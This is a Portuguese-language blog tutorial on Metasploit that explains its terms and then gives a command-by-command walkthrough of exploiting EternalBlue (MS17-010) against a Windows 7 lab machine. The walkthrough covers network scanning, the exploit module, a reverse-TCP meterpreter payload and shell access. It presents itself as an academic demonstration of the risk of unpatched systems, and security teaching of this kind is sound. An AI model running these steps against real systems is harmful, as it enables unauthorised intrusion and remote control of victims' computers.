O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…
Framework: Você vai achar muitas definições de framework na internet, mas no nosso caso pode ser definido como um conjunto de ferramentas agrupadas em uma mesma solução. A ideia do framework é evitar retrabalhos ou utilização desnecessárias de uma mesma ferramenta ou código em um mesmo projeto. Sempre você vai ver um framework que vai te ajudar a automatizar trabalhos desnecessários ou mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework vai te ajudar a gerenciar melhor o seu trabalho.
Exploits: É por onde o ataque tem início, pois pode ser um código malicioso ou um software que utiliza-se de uma vulnerabilidade para atacar o sistema como um todo ou parte dele, assim abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)
Payloads: Após o Exploit “abrir caminho” explorando uma falha ou vulnerabilidade, é executado um código que tem como função comprometer o sistema. O Payload que fará a transmissão de dados e a parte nociva já depois do sistema ter sido comprometido pela vulnerabilidade utilizando o Exploit.
Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.
Explicando o Cenário
Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!
Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24
Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No Kali Linux, também vem instalada. Caso queira instalar em alguma distribuição que não venha instalada, fazer o download na página oficial: https://www.metasploit.com/
Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1, que é utilizado para a troca de arquivos pela rede. Essa vulnerabilidade ficou famosa, pois foi utilizada para espalhar os ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.
Preparando o Sistema
Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.
systemctl start postgresql
Depois vamos iniciar o Metasploit
msfconsole
Vamos verificar o status da conexão com o banco de dados.
db_status
Caso retorne esse erro: “postgresql selected, no connection”…
Ou ao iniciar, apareça erros ao conectar ao banco de dados:
Seguir os seguintes passos:
exit (Sair do metasploit) su postgres (Acessar o usuário postgres e tem que estar como root para poder mudar de usuário) createuser root -P (Criar o usuário root e definir uma senha para ele) createdb --owner=root msf_database (Criar uma entrada no banco de dados) exit (Sair do usuário postgres) msfconsole (Entrar no metasploit novamente) db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database
Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432
Depois só conferir:
db_status
Caso queira fazer uma busca genérica usando o módulo Nmap que há no Metasploit, assim adicionando as informações do hosts no banco de dados:
db_nmap -A 172.16.205.0/24
Para ver os hosts que foram localizados com essa busca, basta digitar:
hosts
Buscando uma vítima
Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:
search smb_ms17_010
Vamos selecionar o módulo que apareceu:
use auxiliary/scanner/smb/smb_ms17_010
Após isso, vamos ver as suas opções:
show options
No nosso caso, precisamos colocar o Range de IP que vamos scannear
set RHOSTS 172.16.205.0/24
Vamos aumentar as threads para agilizar o scan
set threads 100
Depois de tudo configurado, agora é executar:
run ou exploit
Preparando o Exploit
Dentre o range selecionado, irá ser exibido as máquinas vulneráveis ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.
Vamos buscar o exploit da falha EternalBlue
back search ms17_010_eternalblue
Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8
use exploit/windows/smb/ms17_010_eternalblue
Assim como o scanner, vamos ver as opções:
show options
Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP dela no Exploit:
set rhost 172.16.205.129
Selecionando o Payload
Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit. Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:
show payloads
Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa
set payload windows/x64/meterpreter/reverse_tcp
Como a conexão será reversa, ou seja, a vítima que vai se comunicar com o atacante, devemos informar qual IP será conectado de volta.
set lhost 172.16.205.1
Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:
show missing
Como está tudo certo, vamos executar:
run ou exploit
Acessando a Máquina da Vítima
Após isso, a conexão com o Windows já está ativa. Agora é só utilizar as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:
Exibir informações do computador:
sysinfo
Exibir em qual usuário está sendo executado no Windows
getuid
Ter acesso ao Shell
shell
O comando PS exibe todas os processos na máquina da vítima.
Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:
O intuito desse post é mostrar como um sistema com a configuração padrão, sem um bom sistema de proteção como antivirus, firewall e/ou antimalware, pode se tornar um alvo fácil. Note que em momento algum foi solicitado qualquer intervenção do usuário do computador Windows. Isso também mostra o perigo de se conectar a redes públicas/abertas.
Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.
https://github.com/rapid7/metasploit-framework
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue
Ao Som de: Metallica – One